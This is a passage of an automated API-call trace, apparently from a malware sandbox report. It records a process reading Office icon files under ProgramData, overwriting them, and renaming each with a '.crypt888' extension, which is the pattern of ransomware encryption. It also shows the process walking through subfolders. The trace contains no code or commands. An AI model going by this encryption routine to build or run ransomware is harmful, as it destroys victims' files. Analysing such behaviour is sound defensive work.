(lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0071.045] GetFileType (hFile=0x258) returned 0x1 [0071.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0071.045] GetFileType (hFile=0x258) returned 0x1 [0071.046] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x627e [0071.046] ReadFile (in: hFile=0x258, lpBuffer=0x285c3c4, nNumberOfBytesToRead=0x627e, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x285c3c4*, lpNumberOfBytesRead=0x39ed58*=0x627e, lpOverlapped=0x0) returned 1 [0071.066] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico", lpFilePart=0x0) returned 0x36 [0071.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0071.066] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0071.067] GetFileType (hFile=0x258) returned 0x1 [0071.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0071.067] GetFileType (hFile=0x258) returned 0x1 [0071.067] WriteFile (in: hFile=0x258, lpBuffer=0x28c7e0c*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x28c7e0c*, lpNumberOfBytesWritten=0x39ed48*=0x6280, lpOverlapped=0x0) returned 1 [0071.069] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico", lpFilePart=0x0) returned 0x36 [0071.069] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico.crypt888", lpFilePart=0x0) returned 0x3f [0071.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0071.069] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb8e81e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x6280)) returned 1 [0071.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0071.069] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico.crypt888" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico.crypt888")) returned 1 [0071.071] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico", lpFilePart=0x0) returned 0x31 [0071.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0071.071] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0071.072] GetFileType (hFile=0x258) returned 0x1 [0071.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0071.072] GetFileType (hFile=0x258) returned 0x1 [0071.072] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x5532e [0071.073] ReadFile (in: hFile=0x258, lpBuffer=0x37007b0, nNumberOfBytesToRead=0x5532e, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x37007b0*, lpNumberOfBytesRead=0x39ed58*=0x5532e, lpOverlapped=0x0) returned 1 [0071.136] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico", lpFilePart=0x0) returned 0x31 [0071.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0071.136] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0071.140] GetFileType (hFile=0x258) returned 0x1 [0071.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0071.140] GetFileType (hFile=0x258) returned 0x1 [0071.140] WriteFile (in: hFile=0x258, lpBuffer=0x38aa7e0*, nNumberOfBytesToWrite=0x55330, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x38aa7e0*, lpNumberOfBytesWritten=0x39ed48*=0x55330, lpOverlapped=0x0) returned 1 [0071.147] CloseHandle (hObject=0x258) returned 1 [0071.156] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico", lpFilePart=0x0) returned 0x31 [0071.156] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico.crypt888", lpFilePart=0x0) returned 0x3a [0071.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0071.157] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb9cca20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x55330)) returned 1 [0071.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0071.157] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySharePoints.ico.crypt888" (normalized: "c:\\programdata\\microsoft\\office\\mysharepoints.ico.crypt888")) returned 1 [0071.157] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico", lpFilePart=0x0) returned 0x2a [0071.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0071.158] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0071.159] GetFileType (hFile=0x174) returned 0x1 [0071.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0071.159] GetFileType (hFile=0x174) returned 0x1 [0071.159] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x627e [0071.159] ReadFile (in: hFile=0x174, lpBuffer=0x271c230, nNumberOfBytesToRead=0x627e, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x271c230*, lpNumberOfBytesRead=0x39ed58*=0x627e, lpOverlapped=0x0) returned 1 [0071.165] CloseHandle (hObject=0x174) returned 1 [0071.207] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico", lpFilePart=0x0) returned 0x2a [0071.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0071.207] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0071.208] GetFileType (hFile=0x174) returned 0x1 [0071.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0071.208] GetFileType (hFile=0x174) returned 0x1 [0071.208] WriteFile (in: hFile=0x174, lpBuffer=0x2787dd4*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2787dd4*, lpNumberOfBytesWritten=0x39ed48*=0x6280, lpOverlapped=0x0) returned 1 [0071.209] CloseHandle (hObject=0x174) returned 1 [0071.211] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico", lpFilePart=0x0) returned 0x2a [0071.211] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico.crypt888", lpFilePart=0x0) returned 0x33 [0071.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0071.211] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbba3ee40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x6280)) returned 1 [0071.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0071.211] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\MySite.ico.crypt888" (normalized: "c:\\programdata\\microsoft\\office\\mysite.ico.crypt888")) returned 1 [0071.212] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico", lpFilePart=0x0) returned 0x38 [0071.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0071.212] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0071.222] GetFileType (hFile=0x174) returned 0x1 [0071.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0071.222] GetFileType (hFile=0x174) returned 0x1 [0071.222] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x627e [0071.222] ReadFile (in: hFile=0x174, lpBuffer=0x278e3c4, nNumberOfBytesToRead=0x627e, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x278e3c4*, lpNumberOfBytesRead=0x39ed58*=0x627e, lpOverlapped=0x0) returned 1 [0071.224] CloseHandle (hObject=0x174) returned 1 [0071.239] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico", lpFilePart=0x0) returned 0x38 [0071.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0071.239] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0071.240] GetFileType (hFile=0x174) returned 0x1 [0071.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0071.240] GetFileType (hFile=0x174) returned 0x1 [0071.240] WriteFile (in: hFile=0x174, lpBuffer=0x27f9e0c*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x27f9e0c*, lpNumberOfBytesWritten=0x39ed48*=0x6280, lpOverlapped=0x0) returned 1 [0071.241] CloseHandle (hObject=0x174) returned 1 [0071.245] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico", lpFilePart=0x0) returned 0x38 [0071.245] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico.crypt888", lpFilePart=0x0) returned 0x41 [0071.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0071.245] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbbab1260, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x6280)) returned 1 [0071.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0071.245] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointPortalSite.ico.crypt888" (normalized: "c:\\programdata\\microsoft\\office\\sharepointportalsite.ico.crypt888")) returned 1 [0071.245] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico", lpFilePart=0x0) returned 0x36 [0071.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0071.246] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0071.247] GetFileType (hFile=0x174) returned 0x1 [0071.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0071.247] GetFileType (hFile=0x174) returned 0x1 [0071.247] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x627e [0071.247] ReadFile (in: hFile=0x174, lpBuffer=0x2800480, nNumberOfBytesToRead=0x627e, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2800480*, lpNumberOfBytesRead=0x39ed58*=0x627e, lpOverlapped=0x0) returned 1 [0071.257] CloseHandle (hObject=0x174) returned 1 [0071.274] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico", lpFilePart=0x0) returned 0x36 [0071.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0071.274] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0071.275] GetFileType (hFile=0x174) returned 0x1 [0071.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0071.276] GetFileType (hFile=0x174) returned 0x1 [0071.276] WriteFile (in: hFile=0x174, lpBuffer=0x286bec8*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x286bec8*, lpNumberOfBytesWritten=0x39ed48*=0x6280, lpOverlapped=0x0) returned 1 [0071.277] CloseHandle (hObject=0x174) returned 1 [0071.279] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico", lpFilePart=0x0) returned 0x36 [0071.279] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico.crypt888", lpFilePart=0x0) returned 0x3f [0071.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0071.279] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbbafd520, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x6280)) returned 1 [0071.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0071.279] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\SharePointTeamSite.ico.crypt888" (normalized: "c:\\programdata\\microsoft\\office\\sharepointteamsite.ico.crypt888")) returned 1 [0071.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.280] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions", lpFilePart=0x0) returned 0x2a [0071.280] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\", lpFilePart=0x0) returned 0x2b [0071.280] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.282] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.282] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.283] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.283] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.283] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0071.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions", lpFilePart=0x0) returned 0x2a [0071.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\", lpFilePart=0x0) returned 0x2b [0071.283] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a328 [0071.283] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.284] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.284] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0071.284] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0071.284] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0071.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0071.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0071.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0071.284] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036", lpFilePart=0x0) returned 0x2f [0071.284] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpFilePart=0x0) returned 0x30 [0071.284] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0071.317] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.331] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.331] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.331] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.331] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.332] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.332] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.332] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.332] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.332] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.332] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.332] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.333] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.333] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.333] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.333] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.333] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.333] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.333] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0071.334] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 